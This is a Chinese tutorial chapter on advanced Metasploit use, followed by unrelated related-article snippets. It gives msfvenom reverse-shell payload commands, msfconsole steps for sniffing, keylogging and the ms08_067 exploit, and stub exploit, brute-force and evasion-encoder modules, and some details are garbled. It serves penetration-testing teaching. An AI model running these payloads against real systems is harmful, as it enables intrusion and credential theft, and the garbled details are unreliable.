Metasploit入门到高级【第九章】
预计更新
第一章:Metasploit 简介
- Metasploit 是什么
- Metasploit 的历史和发展
- Metasploit 的组成部分
第二章:Kali Linux 入门
- Kali Linux 简介
- Kali Linux 安装和配置
- 常用命令和工具介绍
第三章:Metasploit 基础
- Metasploit 的基本概念
- Metasploit 架构和工作原理
- Metasploit 的安装和配置
第四章:信息收集
- 信息收集的重要性
- 扫描技术和工具介绍
- 如何使用 Metasploit 进行信息收集
第五章:漏洞扫描与利用
- 漏洞扫描的原理和方法
- Metasploit 的漏洞扫描和利用模块
- 常见漏洞的利用方法和技巧
第六章:远程控制
- 远程控制的原理和方法
- Metasploit 的远程控制模块
- 如何使用 Metasploit 进行远程控制
第七章:社会工程学攻击
- 社会工程学攻击的原理和方法
- Metasploit 的社会工程学模块
- 如何使用 Metasploit 进行社会工程学攻击
第八章:漏洞开发
- 漏洞开发的基本原理
- Metasploit 的漏洞开发模块
- 如何使用 Metasploit 进行漏洞开发
第九章:Metasploit 高级应用
- Metasploit 的高级应用技巧和方法
- 如何使用 Metasploit 进行信息窃取、渗透测试等高级操作
第十章:Metasploit 案例分析
- 一些真实的 Metasploit 攻击案例分析和总结
- 对于 Metasploit 使用者的建议和注意事项
结语:未来展望
- Metasploit 的未来发展趋势
- Metasploit 的优缺点及其在安全领域中的作用
## 第九章:Metasploit 高级应用
- Metasploit 的高级应用技巧和方法
- 如何使用 Metasploit 进行信息窃取、渗透测试等高级操作
Metasploit 的高级应用技巧和方法
Metasploit是一款功能丰富的渗透测试框架,包含了大量的工具和模块,可用于进行漏洞挖掘、漏洞利用、后渗透、社会工程学等多种渗透测试任务。
以下是Metasploit的高级应用技巧和方法:
- 自定义Payload
Payload是指渗透攻击时被送到目标系统上的恶意代码。Metasploit提供了多种Payload类型,如Meterpreter、Reverse shell、Staged Payload等。用户可以通过设置Payload类型和参数来自定义Payload,以满足不同的渗透测试需求。
例如,使用msfvenom生成一个使用反向TCP连接的Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > meterpreter.exe
在该命令中,-p选项指定了Payload类型为windows/meterpreter/reverse_tcp;LHOST和LPORT参数指定了监听IP和端口;-f选项指定了输出格式为exe;最终将生成名为meterpreter.exe的Payload文件。
- 元数据(MSF MetaProgramming)
元数据是指Metasploit框架中用于描述Exploit、Payload、Auxiliary和Encoder等模块的信息和属性。Metasploit中的元数据采用Ruby语言编写,可以通过修改元数据来定制或创建新的模块。
例如,可以通过修改ms08_067_netapi漏洞利用模块的元数据来增加对新操作系统版本的支持:
require 'msf/core'class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::SMBServerdef initialize(info = {})super(update_info(info,'Name' => 'Windows SMB RCE exploit','Description' => %q{This module exploits a vulnerability in the Microsoft Server Message Block (SMB) protocol to execute arbitrary code.},'Author' => ['Your Name'],'License' => MSF_LICENSE,'References' => [[ 'CVE', '2008-4250' ]],'Platform' => 'win','Targets' => [[ 'Windows XP', { 'Ret' => 0xdeadbeef } ],[ 'Windows 7', { 'Ret' => 0xcafebabe } ]],'Payload' => {'Space' => 1000,'BadChars' => "\x00\x0a\x0d",'DisableNops' => true},'DefaultTarget' => 0,'Privileged' => false,'DisclosureDate' => 'Oct 08 2008'))enddef exploit# ...end
end
在该漏洞利用模块中,修改了Targets属性,增加了对Windows 7操作系统的支持。
- 自定义Exploit
Exploit是指用于利用目标系统中存在的漏洞进行攻击的模块。Metasploit提供了大量的Exploit模块,但如果没有找到合适的Exploit,则可以通过自定义Exploit来满足特定的渗透测试需求。
例如,使用Ruby语言编写一个Exploit模块,用于利用Windows 10 SMB远程代码执行漏洞:
require 'msf/core'class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::SMBServerdef initialize(info = {})super(update_info(info,'Name' => 'Windows 10 SMB RCE exploit','Description' => %q{This module exploits a vulnerability in the Microsoft Server Message Block (SMB) protocol to execute arbitrary code.},'Author' => ['Your Name'],'License' => MSF_LICENSE,'References' => [[ 'CVE', '2017-014 -4' ]],'Platform' => 'win','Targets' => [[ 'Windows 10', { 'Ret' => 0xdeadbeef } ]],'Payload' => {'Space' => 1000,'BadChars' => "\x00\x0a\x0d",'DisableNops' => true},'DefaultTarget' => 0,'Privileged' => false,'DisclosureDate' => 'Apr 14 2017'))enddef exploit# ...end
end
在该Exploit模块中,定义了Windows 10作为目标系统,并增加了相应的参考文献和漏洞描述信息。
- 自定义Auxiliary
Auxiliary是指用于进行信息收集、弱口令爆破、端口扫描等非攻击性任务的模块。Metasploit提供了多种Auxiliary模块,但如果需要特定的功能或工具,则可以通过自定义Auxiliary来满足需求。
例如,使用Ruby语言编写一个Auxiliary模块,用于进行SSH协议的弱口令爆破:
require 'msf/core'class MetasploitModule < Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::SSHdef initialize(info = {})super(update_info(info,'Name' => 'SSH Password Brute Forcer','Description' => %q{This module can be used to perform a password brute force attack against an SSH server.},'Author' => ['Your Name'],'License' => MSF_LICENSE,'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SSH' ]],'Platform' => 'unix','Targets' => [[ 'Automatic', {} ]],'DefaultTarget' => 0))enddef run_host(ip)# ...end
end
在该Auxiliary模块中,定义了SSH协议的弱口令爆破功能,并设置了相应的参考文献和描述信息。
- 自定义Encoder
Encoder是指用于对Payload进行编码和混淆,以绕过目标系统的安全检测机制。Metasploit提供了多种Encoder模块,但如果需要特定的编码算法或混淆技巧,则可以通过自定义Encoder来满足需求。
例如,使用Ruby语言编写一个Encoder模块,用于对Payload进行多次异或运算:
require 'msf/core'class MetasploitModule < Msf::EncoderRank = ExcellentRankingdef initializesuper('Name' => 'XOR Encoder','Description' => 'Encodes the payload multiple times using XOR.','Author' => ['Your Name'],'License' => MSF_LICENSE,'Decoder' => {'Name' => 'XOR Decoder','Description' => 'Decodes the XOR-encoded payload.','Author' => ['Your Name'],'License' => MSF_LICENSE})enddef encode_block(state, buf)# ...enddef decode_block(state, buf)# ...end
end
在该Encoder模块中,定义了对Payload进行多次异或运算的编码算法,并设置了相应的描述信息和对应的Decoder模块。
总之,Metasploit提供了丰富而强大的功能和工具,可以用于满足各种渗透测试任务的需求。通过自定义Payload、Exploit、Auxiliary、Encoder等模块,可以灵活地定制或创建新的模块,以更好地满足特定的渗透测试需求。
- 使用Meterpreter进行后渗透
Meterpreter是Metasploit框架中的一种Payload类型,可用于在目标系统上建立稳定的反向连接,并提供众多功能和命令,如文件上传下载、远程Shell、系统信息获取、网络嗅探等。可以使用Meterpreter进行后渗透操作,从而进一步深入到目标系统内部,获取更多敏感信息和权限。
例如,在使用msfvenom生成Meterpreter Payload时,可以设置Payload类型为windows/meterpreter/reverse_tcp; LHOST和LPORT参数指定了监听IP和端口:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > meterpreter.exe
在成功利用漏洞后,可以通过Meterpreter Shell与目标系统进行交互,执行各种命令和操作:
meterpreter > shell
Process 2000 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.1165]
(c) Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
nt authority\systemC:\Windows\system32>
可以看到,已经成功获取了SYSTEM权限,并可以执行任意命令。
- 使用Armitage进行快速渗透测试
Armitage是基于Metasploit框架开发的GUI工具,可用于进行快速渗透测试,自动化扫描、漏洞挖掘和漏洞利用等任务。
通过Armitage,可以方便地进行目标扫描和漏洞挖掘,还可以使用Armitage中的模块和Payload快速进行漏洞利用,如ms08_067_netapi漏洞利用模块。
最后,Armitage还提供了丰富的报告和漏洞管理功能,可用于记录和跟踪渗透测试过程和结果。
总之,Metasploit具备强大而灵活的功能和工具,能够满足各种渗透测试需求。通过自定义模块和Payload、使用Meterpreter进行后渗透操作、使用Armitage进行快速渗透测试等方法,可以更好地利用Metasploit框架,保障信息安全。
如何使用 Metasploit 进行信息窃取、渗透测试等高级操作
Metasploit是一款功能强大的开源渗透测试框架,被广泛应用于漏洞挖掘、渗透测试、后渗透等方面。本文将介绍如何使用Metasploit进行信息窃取、渗透测试等高级操作。
- 信息窃取
信息窃取是指通过各种手段获取目标系统中的敏感信息和数据,如账户密码、个人隐私、机密文件等。Metasploit提供了多种模块和工具,可用于进行信息窃取。
1.1 基于网络嗅探的信息窃取
Metasploit提供了sniffer模块,可用于在目标网络中进行数据嗅探和流量分析,以获取网络通信中的敏感信息和数据。
例如,使用msfconsole启动Metasploit框架,并加载sniffer模块:
msf > use auxiliary/sniffer/psnuffle
接着,设置监听IP和端口,并启动sniffer模块:
msf auxiliary(psnuffle) > set INTERFACE eth0
msf auxiliary(psnuffle) > set LHOST 192.168.1.100
msf auxiliary(psnuffle) > set LPORT 4444
msf auxiliary(psnuffle) > run
在该命令中,设置了监听IP和端口,并在目标网络中启动了sniffer模块。当目标系统中的用户在网络上发送敏感信息和数据时,都会被sniffer模块捕获并记录下来,供后续分析和利用。
1.2 基于键盘记录的信息窃取
Metasploit提供了keylogger模块,可用于监控目标系统中的键盘输入,以获取敏感信息和数据,如账户密码、信用卡号等。
例如,使用msfconsole启动Metasploit框架,并加载keylogger模块:
msf > use windows/misc/keylogger
接着,设置监听IP和端口,并启动keylogger模块:
msf auxiliary(keylogger) > set LHOST 192.168.1.100
msf auxiliary(keylogger) > set LPORT 4444
msf auxiliary(keylogger) > run
在该命令中,设置了监听IP和端口,并在目标系统中启动了keylogger模块。当目标系统中的用户输入敏感信息和数据时,都会被keylogger模块截获并记录下来,供后续分析和利用。
- 渗透测试
渗透测试是指通过模拟攻击者的方式,对目标系统进行安全测试,发现存在的漏洞和弱点,以及评估目标系统的安全性能。Metasploit提供了丰富的Exploit模块和Payload类型,可用于进行各种渗透测试任务。
2.1 漏洞挖掘
漏洞挖掘是指通过主动或被动方式,扫描目标系统中存在的漏洞和弱点,并尝试利用这些漏洞进行渗透测试。Metasploit提供了多种Exploit模块,可用于针对不同类型的漏洞进行攻击测试。
例如,使用msfconsole启动Metasploit框架,并加载ms08_067_netapi漏洞利用模块:
msf > use exploit/windows/smb/ms08_067_netapi
接着,设置目标IP和端口,以及Payload类型和参数,并利用该模块进行攻击测试:
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.101
msf exploit(ms08_067_netapi) > set RPORT 445
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter /reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.100
msf exploit(ms08_067_netapi) > set LPORT 4444
msf exploit(ms08_067_netapi) > exploit
在该命令中,设置了目标IP和端口,以及Payload类型和参数,并利用ms08_067_netapi漏洞进行攻击测试。当成功利用该漏洞时,将建立反向连接,并获取目标系统的Shell。
2.2 后渗透操作
后渗透操作是指在已经成功进入目标系统的情况下,继续深入到目标系统内部,获取更多敏感信息和权限,并对目标系统进行控制和管理。Metasploit提供了Meterpreter Payload类型,可用于在目标系统上建立稳定的反向连接,并提供丰富的Shell命令和功能。
例如,在使用msfvenom生成Meterpreter Payload时,可以设置Payload类型为windows/meterpreter/reverse_tcp; LHOST和LPORT参数指定了监听IP和端口:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > meterpreter.exe
在成功利用漏洞后,可以通过Meterpreter Shell与目标系统进行交互,执行各种命令和操作:
meterpreter > shell
Process 2000 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.1165]
(c) Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
nt authority\systemC:\Windows\system32>
可以看到,已经成功获取了SYSTEM权限,并可以执行任意命令。
- 使用Armitage进行快速渗透测试
Armitage是基于Metasploit框架开发的GUI工具,可用于进行快速渗透测试,自动化扫描、漏洞挖掘和漏洞利用等任务。
通过Armitage,可以方便地进行目标扫描和漏洞挖掘。
还可以使用Armitage中的模块和Payload快速进行漏洞利用,如ms08_067_netapi漏洞利用模块。
最后,Armitage还提供了丰富的报告和漏洞管理功能,可用于记录和跟踪渗透测试过程和结果。
总之,Metasploit具备强大而灵活的功能和工具,能够满足各种渗透测试需求。通过自定义模块和Payload、使用Meterpreter进行后渗透操作、使用Armitage进行快速渗透测试等方法,可以更好地利用Metasploit框架,保障信息安全。
相关文章:

Metasploit入门到高级【第九章】
预计更新第一章:Metasploit 简介 Metasploit 是什么Metasploit 的历史和发展Metasploit 的组成部分 第二章:Kali Linux 入门 Kali Linux 简介Kali Linux 安装和配置常用命令和工具介绍 第三章:Metasploit 基础 Metasploit 的基本概念Met…...

JDK之8后: 协程? 虚拟线程!!!
特性官方文档: https://openjdk.org/jeps/436 Java协程 近三十年来,Java 开发人员一直依赖线程作为并发服务器应用程序的构建块。每个方法中的每个语句都在线程内执行,并且由于 Java 是多线程的,因此多个执行线程同时发生。线程是Java的并发…...

体验 jeecg
体验 jeecg官网地址事前准备安装升级 node 和 npm 版本验证安装安装 pnpm clidocker 启动 MySQLdocker 启动 redisgit clone 项目启动JAVA项目 jeecg-boot启动Vue3项目 jeecgboot-vue3官网地址 http://www.jeecg.com/ 事前准备 (1) 为了回避Could not find artifact com.mic…...

投稿指南【NO.13】计算机学会CCF推荐期刊和会议分享(人工智能)
前 言国内高等院校研究生及博士毕业条件需要发表高水平期刊或者顶会(清北上交等重点学校毕业要求为至少发一篇顶会),很多同学私信问到一级学会的会议论文怎么找、是什么,比如前段时间放榜的CVPR论文就是人工智能领域的顶会国际会议…...

一份sql笔试
1、 select substr(time,1,10),count(order_id),count(distinct passenger_id) from order where substr(time,1,7)2023-08 group by substr(time,1,10) order by substr(time,1,10);2、 select city_id from (select * from order where substr(time,1,7) 2022-08) t1 left j…...

交换瓶子
交换瓶子 贡献者:programmer_ada 有N个瓶子,编号 1 ~ N,放在架子上。 比如有5个瓶子: 2 1 3 5 4 要求每次拿起2个瓶子,交换它们的位置。 经过若干次后,使得瓶子的序号为: 1 2 3 4 5 对于这么…...

二、Docker安装、启动、卸载、示例
Docker 支持 CentOS 6 及以后的版本,可以直接通过yum进行安装: 使用流程:启动主机 – 启动Docker服务 – 下载容器镜像 – 启动镜像得一个到容器 – 进入容器使用我们想要的程序 主机一般是Linux、Utuban 以下主机系统以CentOS7为例子&#…...

开心档之C++ STL 教程
C STL 教程 目录 C STL 教程 实例 在前面的章节中,我们已经学习了 C 模板的概念。C STL(标准模板库)是一套功能强大的 C 模板类,提供了通用的模板类和函数,这些模板类和函数可以实现多种流行和常用的算法和数据结构…...

Thread 类的基本用法
文章目录一、线程创建1.1 Thread的常见构造方法2.1 创建线程二、线程中断2.1 Thread的几个常见属性2.2 中断线程三、线程等待四、线程休眠五、获取线程实例一、线程创建 1.1 Thread的常见构造方法 方法说明Thread()创建线程对象Thread(Runnable target)使用Runnable对象创建线…...

2023.3.28 天梯赛训练赛补题(病毒溯源 , 龙龙送外卖 , 红色警报)
文章目录1.病毒溯源问题:求树的最长链长度和字典序最小的最长链思路:2.龙龙送外卖思路:3.红色警报:思路:1.病毒溯源 问题:求树的最长链长度和字典序最小的最长链 思路: 一开始用 bfs 做的 &a…...

917. 仅仅反转字母
917. 仅仅反转字母https://leetcode.cn/problems/reverse-only-letters/ 难度简单189 给你一个字符串 s ,根据下述规则反转字符串: 所有非英文字母保留在原有位置。所有英文字母(小写或大写)位置反转。 返回反转后的 s 。 示例…...

Linux-Git
一、总论 1.1 写在前面的话 这已经是我第三遍学Git相关操作了,可以说这个玩意是真的狗,因为确实用不到,不知道下个学期会不会用到,直到现在我刚刚学完,处于知识水平的巅峰,知道Git的具体功能ÿ…...

leetcode:2273. 移除字母异位词后的结果数组(python3解法)
难度:简单 给你一个下标从 0 开始的字符串 words ,其中 words[i] 由小写英文字符组成。 在一步操作中,需要选出任一下标 i ,从 words 中 删除 words[i] 。其中下标 i 需要同时满足下述两个条件: 0 < i < words.l…...

基于Python长时间序列遥感数据处理及在全球变化、物候提取、植被变绿与固碳分析、生物量估算与趋势分析等领域中的应用
植被是陆地生态系统中最重要的组分之一,也是对气候变化最敏感的组分,其在全球变化过程中起着重要作用,能够指示自然环境中的大气、水、土壤等成分的变化,其年际和季节性变化可以作为地球气候变化的重要指标。此外,由于…...

4.4---Spring框架之Spring事务(复习版本)
Spring事务的本质其实就是数据库对事务的支持,没有数据库的事务支持,spring是无法提供事务功能的。 Spring只提供统一事务管理接口,具体实现都是由各数据库自己实现,数据库事务的提交和回滚是通过 redo log 和 undo log实现的。 S…...

IP-Guard是否支持禁止客户端电脑卸载指定软件?
哪些浏览器支持设置窗口水印? 支持的浏览器有:搜狗浏览器、360安全浏览器、360极速浏览器、qq浏览器、谷歌浏览器、ie浏览器、edge浏览器 注意: 1.目标URL窗口水印不支持Firefox浏览器和猎豹浏览器 2.搜狗浏览器在兼容模式下,目标URL窗口水印不生效 3.部分浏览器(360安全…...

系统图标形状overlayapk
时间:2020/10/10 之前公司不允许csdn,笔记写在其它地方。最近整理过来 1、图标形状的overlay frameworks\base\packages\overlays目录 2、某一种形状的源码 默认配置在framework/base/core/res/res res下面放着图标形状的mask路径,这个值是一个矢量图…...

辅助编程coding的两种工具:Github Copilot、Cursor
目录Cursor简介下载地址:使用技巧:CHAT:example 1:注意:example 2:Github Copilot官网简介以插件方式安装pycharm自动写代码example 1:写一个mysql取数据的类example 2:写一个多重共线性检测的类…...

MySQL5.7安装教程
1.鼠标右击【MySQL5.7】压缩包(win11及以上系统需先点击“显示更多选项”)选择【解压到 MySQL5.7】 2.打开解压后的文件夹,双击运行【mysql-installer-community-5.7.27.0】 3.勾选【I accept the license terms】,点击【Next】 4…...

ML@sklearn@ML流程Part3@AutomaticParameterSearches
文章目录Automatic parameter searchesdemomodel_selection::Hyper-parameter optimizersGridSearchCVegRandomizedSearchCVegNoteRandomForestRegressorMSEpipeline交叉验证🎈egL1L2正则Next stepsUser Guide vs TutorialAutomatic parameter searches Automatic p…...
Ubuntu22安装OpenJDK
目录 一、是否自带JDK 二、 删除旧JDK(如果自带JDK满足需求就直接使用了) 三、下载OpenJDK 四、新建/home/user/java/文件夹 五、 设置环境变量 六、查看完成 附:完整版连接: 一、是否自带JDK java -version 二、 删除旧…...

【数据库管理】②实例管理及数据库启动关闭
1. 实例和参数文件 1.1 instance 用于管理和访问 database. instance 在启动阶段读取初始化参数文件(init parameter files). 1.2 init parameter files [rootoracle-db-19c ~]# su - oracle [oracleoracle-db-19c ~]$ [oracleoracle-db-19c ~]$ cd $ORACLE_HOME/dbs [oracl…...

【2023】Kubernetes之Pod与容器状态关系
目录简单创建一个podPod运行阶段:容器运行阶段简单创建一个pod apiVersion: v1 kind: pod metadata: name: nginx-pod spec:containers:- name: nginximages: nginx:1.20以上代码表示创建一个名为nginx-pod的pod资源对象。 Pod运行阶段: Pod创建后&am…...

LabVIEW阿尔泰PCIE 5654 例程与相关资料
LabVIEW阿尔泰PCIE 5654 例程与相关资料 阿尔泰PCIE 5654多功能采集卡,具有500/250Ksps、32/16路模拟量输入;100Ksps,16位,4/2/0路同步电压模拟量输出;8路DIO ;8路PFI;1路32位多功能计数器。PC…...

spark2.4.4有哪些主要的bug
Issue Navigator - ASF JIRA -...

信息学奥赛一本通 1347:【例4-8】格子游戏
【题目链接】 ybt 1347:【例4-8】格子游戏 【题目考点】 1. 并查集:判断无向图是否有环 【解题思路】 该题为判断无向图是否有环。可以使用并查集来完成。 学习并查集时,每个元素都由一个整数来表示。而该问题中每个元素是一个坐标点&a…...

acwing3417. 砝码称重
acwing3417. 砝码称重算法 1: DFS算法2 : DP算法 1: DFS /*** 数据范围 对于 50%的评测用例,1≤N≤15. 对于所有评测用例,1≤N≤100,N 个砝码总重不超过 1e5. */ /* 算法 1: DFS 思路 : 对于每个砝码,有放在左边,放在右边,和不放三种选择,使…...

生成式 AI:百度“文心一言”对标 ChatGPT?什么技术趋势促使 ChatGPT 火爆全网?
文章目录前言一、生成式 AI 的发展和现状1.1、什么是生成式 AI?1.2、生成式 AI 的发展趋势1.3、AI 生成内容的业务场景和分类二、生成式 AI 从分析领域到创作领域2.1、 降低内容创作门槛,增加 UGC 用户群体2.2、提升创作及反馈效率,铺垫线上实…...

PCL 非线性最小二乘法拟合圆柱
文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 这里通过非线性最小二乘的方法来实现圆柱体的拟合,具体的计算过程如下所述: 图中, p p p为输入数据的点位置,求解的参数为柱体的轴向向量 a...

【设计模式】迪米特法则
文章目录一、迪米特法则定义二、迪米特法则分析三、迪米特法则实例一、迪米特法则定义 迪米特法则(Law of Demeter, LoD):一个软件实体应当尽可能少地与其他实体发生相互作用。 二、迪米特法则分析 如果一个系统符合迪米特法则,那么当其中某一个模块发…...